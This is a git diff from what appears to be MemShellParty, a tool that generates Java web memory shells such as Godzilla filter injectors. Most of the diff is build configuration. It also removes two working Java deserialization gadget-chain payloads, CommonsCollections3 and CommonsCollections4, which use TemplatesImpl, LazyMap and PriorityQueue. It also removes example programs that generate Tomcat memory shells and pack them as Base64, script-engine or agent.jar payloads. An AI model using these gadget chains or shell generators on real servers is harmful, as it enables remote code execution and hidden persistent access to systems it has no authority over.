ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
|
||||||
Map body = response.getBody();
|
Config config = response.getBody();
|
||||||
assertNotNull(body);
|
assertNotNull(config);
|
||||||
}
|
assertNotNull(config.getServers());
|
||||||
|
assertNotNull(config.getCore());
|
||||||
@Test
|
assertNotNull(config.getPackers());
|
||||||
public void testConfigServersEndpoint() {
|
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
|
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void testConfigPackersEndpoint() {
|
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
|
|
||||||
List<String> body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+7
-75
@@ -1,64 +1,15 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
|
||||||
|
|
||||||
version = '1.7.0'
|
|
||||||
|
|
||||||
buildscript {
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
gradlePluginPortal()
|
|
||||||
}
|
|
||||||
dependencies {
|
|
||||||
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
|
||||||
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
allprojects {
|
allprojects {
|
||||||
group = 'io.github.reajason'
|
if (it.name != 'bom') {
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom') {
|
|
||||||
apply(plugin: 'java')
|
apply(plugin: 'java')
|
||||||
apply(plugin: 'idea')
|
apply(plugin: 'idea')
|
||||||
apply(plugin: 'jacoco')
|
apply(plugin: 'jacoco')
|
||||||
apply(plugin: 'io.freefair.lombok')
|
|
||||||
}
|
}
|
||||||
|
|
||||||
apply(plugin: 'com.vanniktech.maven.publish')
|
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name = 'MemShellParty'
|
|
||||||
description = project.description
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
inceptionYear = '2025'
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name = 'MIT'
|
|
||||||
url = 'https://spdx.org/licenses/MIT.html'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id = 'reajason'
|
|
||||||
name = 'ReaJason'
|
|
||||||
url = "https://reajason.eu.org"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
|
||||||
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation platform(project(':memshell-party-bom'))
|
implementation platform(project(':bom'))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -89,31 +40,12 @@ jacocoTestReport {
|
|||||||
classDirectories.from(
|
classDirectories.from(
|
||||||
fileTree('generator/build/classes/java/main') {
|
fileTree('generator/build/classes/java/main') {
|
||||||
excludes = [
|
excludes = [
|
||||||
'com/reajason/javaweb/memshell/**/godzilla/**',
|
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||||
'com/reajason/javaweb/memshell/**/injector/**',
|
'com/reajason/javaweb/memsell/**/injector/**',
|
||||||
'com/reajason/javaweb/memshell/**/command/**',
|
'com/reajason/javaweb/memsell/**/command/**',
|
||||||
'com/reajason/javaweb/config/**'
|
'com/reajason/javaweb/config/**'
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.register('publishAllToMavenCentral') {
|
|
||||||
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
|
||||||
if (isSnapshot) {
|
|
||||||
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
} else {
|
|
||||||
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,5 +1,8 @@
|
|||||||
group = 'io.github.reajason'
|
plugins {
|
||||||
description = "Common Utilities for MemShellParty"
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
java {
|
java {
|
||||||
@@ -9,7 +12,6 @@ java {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
|
||||||
implementation 'commons-io:commons-io'
|
implementation 'commons-io:commons-io'
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
implementation 'commons-codec:commons-codec'
|
implementation 'commons-codec:commons-codec'
|
||||||
+1
-1
@@ -13,7 +13,7 @@ public class ClassBytesShrink {
|
|||||||
|
|
||||||
public static byte[] shrink(byte[] bytes, boolean full) {
|
public static byte[] shrink(byte[] bytes, boolean full) {
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
|
ClassWriter cw = new ClassWriter(0);
|
||||||
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||||
@Override
|
@Override
|
||||||
public void visitSource(String source, String debug) {
|
public void visitSource(String source, String debug) {
|
||||||
File diff suppressed because one or more lines are too long
@@ -1,15 +1,15 @@
|
|||||||
group = 'io.github.reajason'
|
plugins {
|
||||||
description = "Java deserialize payload for MemShellParty"
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation project(":memshell-party-common")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
implementation 'com.caucho:hessian:4.0.66'
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
implementation 'commons-collections:commons-collections:3.2.1'
|
|
||||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
testImplementation platform('org.junit:junit-bom')
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
|||||||
@@ -1,7 +1,10 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||||
import com.reajason.javaweb.deserialize.payload.java.*;
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -18,12 +21,6 @@ public enum PayloadType {
|
|||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||||
|
|
||||||
/**
|
|
||||||
* CC 链
|
|
||||||
*/
|
|
||||||
CommonsCollections3(new CommonCollections3()),
|
|
||||||
CommonsCollections4(new CommonCollections4()),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Hessian XSLT write
|
* Hessian XSLT write
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -1,13 +1,12 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -21,7 +20,6 @@ public class TemplateUtils {
|
|||||||
byte[] fooBytes;
|
byte[] fooBytes;
|
||||||
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||||
.subclass(Object.class).name("foo")
|
.subclass(Object.class).name("foo")
|
||||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
|
||||||
.make()) {
|
.make()) {
|
||||||
fooBytes = make.getBytes();
|
fooBytes = make.getBytes();
|
||||||
}
|
}
|
||||||
|
|||||||
-43
@@ -1,43 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.Payload;
|
|
||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/2
|
|
||||||
*/
|
|
||||||
public class CommonCollections3 implements Payload {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
|
||||||
public Object generate(byte[] bytes) {
|
|
||||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
|
||||||
|
|
||||||
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
|
|
||||||
|
|
||||||
Map innerMap = new HashMap<>();
|
|
||||||
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
|
|
||||||
|
|
||||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
|
|
||||||
|
|
||||||
Map expMap = new HashMap<>();
|
|
||||||
expMap.put(tiedMapEntry, "valueTest");
|
|
||||||
outerMap.remove(templates);
|
|
||||||
|
|
||||||
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
|
|
||||||
return expMap;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-39
@@ -1,39 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload.java;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.Payload;
|
|
||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
|
||||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
|
||||||
import java.util.PriorityQueue;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/2
|
|
||||||
*/
|
|
||||||
public class CommonCollections4 implements Payload {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SneakyThrows
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
|
||||||
public Object generate(byte[] bytes) {
|
|
||||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
|
||||||
ChainedTransformer chain =
|
|
||||||
new ChainedTransformer(
|
|
||||||
new ConstantTransformer(TrAXFilter.class),
|
|
||||||
new InstantiateTransformer(
|
|
||||||
new Class[]{Templates.class}, new Object[]{templates}));
|
|
||||||
TransformingComparator comparator = new TransformingComparator(chain);
|
|
||||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
|
||||||
Reflections.setFieldValue(queue, "size", 2);
|
|
||||||
Reflections.setFieldValue(queue, "comparator", comparator);
|
|
||||||
return queue;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
|
||||||
<modelVersion>4.0.0</modelVersion>
|
|
||||||
|
|
||||||
<groupId>com.reajason.javaweb.maven</groupId>
|
|
||||||
<artifactId>memshell-party-maven-example</artifactId>
|
|
||||||
<version>1.0-SNAPSHOT</version>
|
|
||||||
|
|
||||||
<properties>
|
|
||||||
<maven.compiler.source>8</maven.compiler.source>
|
|
||||||
<maven.compiler.target>8</maven.compiler.target>
|
|
||||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
|
||||||
</properties>
|
|
||||||
|
|
||||||
<dependencies>
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>generator</artifactId>
|
|
||||||
<version>1.0.4</version>
|
|
||||||
</dependency>
|
|
||||||
</dependencies>
|
|
||||||
|
|
||||||
</project>
|
|
||||||
-50
@@ -1,50 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.*;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class Godzilla {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
|
|
||||||
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-52
@@ -1,52 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.*;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/6
|
|
||||||
*/
|
|
||||||
public class GodzillaAgent {
|
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
|
||||||
.shrink(true) // 缩小字节码
|
|
||||||
.debug(false) // 关闭调试
|
|
||||||
.build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
|
||||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
|
||||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
|
||||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
// .pass("pass")
|
|
||||||
// .key("key")
|
|
||||||
// .headerName("User-Agent")
|
|
||||||
// .headerValue("test")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
|
||||||
System.out.println(result.getShellToolConfig());
|
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+11
-22
@@ -1,3 +1,7 @@
|
|||||||
|
plugins {
|
||||||
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
@@ -6,49 +10,35 @@ java {
|
|||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'io.github.reajason'
|
group = 'com.reajason.javaweb.memsell'
|
||||||
description = "MemShell Generator for Java"
|
|
||||||
version = rootProject.version
|
version = rootProject.version
|
||||||
|
|
||||||
// 测试使用 JDK17 进行编译与运行
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
javaLauncher = javaToolchains.launcherFor {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.named('compileTestJava') {
|
|
||||||
javaCompiler = javaToolchains.compilerFor {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_17
|
|
||||||
targetCompatibility = JavaVersion.VERSION_17
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
test {
|
||||||
useJUnitPlatform()
|
useJUnitPlatform()
|
||||||
finalizedBy jacocoTestReport
|
finalizedBy jacocoTestReport
|
||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation project(":memshell-party-common")
|
implementation project(":common")
|
||||||
implementation project(":deserialize")
|
implementation project(":deserialize")
|
||||||
|
|
||||||
implementation project(":memshell")
|
implementation project(":memshell")
|
||||||
implementation project(":memshell-java8")
|
implementation project(":memshell-java8")
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
|
implementation 'jakarta.servlet:jakarta.servlet-api'
|
||||||
|
|
||||||
|
// implementation 'xalan:xalan'
|
||||||
implementation 'org.apache.bcel:bcel'
|
implementation 'org.apache.bcel:bcel'
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
implementation 'commons-io:commons-io'
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
|
implementation 'commons-codec:commons-codec'
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
implementation 'com.squareup.okhttp3:okhttp'
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
implementation 'ch.qos.logback:logback-classic'
|
||||||
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||||
|
// implementation 'org.java-websocket:Java-WebSocket'
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
implementation 'org.springframework:spring-webmvc'
|
||||||
implementation 'org.springframework:spring-webflux'
|
implementation 'org.springframework:spring-webflux'
|
||||||
@@ -58,5 +48,4 @@ dependencies {
|
|||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
testImplementation "org.mockito:mockito-core"
|
testImplementation "org.mockito:mockito-core"
|
||||||
testImplementation 'org.mockito:mockito-junit-jupiter'
|
|
||||||
}
|
}
|
||||||
@@ -7,8 +7,6 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
@@ -19,9 +17,8 @@ public class MemShellGenerator {
|
|||||||
Server server = shellConfig.getServer();
|
Server server = shellConfig.getServer();
|
||||||
AbstractShell shell = server.getShell();
|
AbstractShell shell = server.getShell();
|
||||||
if (shell == null) {
|
if (shell == null) {
|
||||||
throw new IllegalArgumentException("Unsupported server: " + server);
|
throw new IllegalArgumentException("Unsupported server");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||||
}
|
}
|
||||||
@@ -30,29 +27,24 @@ public class MemShellGenerator {
|
|||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
}
|
}
|
||||||
|
|
||||||
Class<?> injectorClass = null;
|
|
||||||
|
|
||||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
|
||||||
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
|
||||||
} else {
|
|
||||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
if (shellInjectorPair == null) {
|
if (shellInjectorPair == null) {
|
||||||
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||||
}
|
}
|
||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
injectorClass = shellInjectorPair.getRight();
|
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||||
|
|
||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig = injectorConfig
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
.toBuilder()
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
.injectorClass(injectorClass)
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.shellClassBytes(shellBytes).build();
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
|
||||||
|
|
||||||
return GenerateResult.builder()
|
return GenerateResult.builder()
|
||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
@@ -62,7 +54,6 @@ public class MemShellGenerator {
|
|||||||
.shellBytes(shellBytes)
|
.shellBytes(shellBytes)
|
||||||
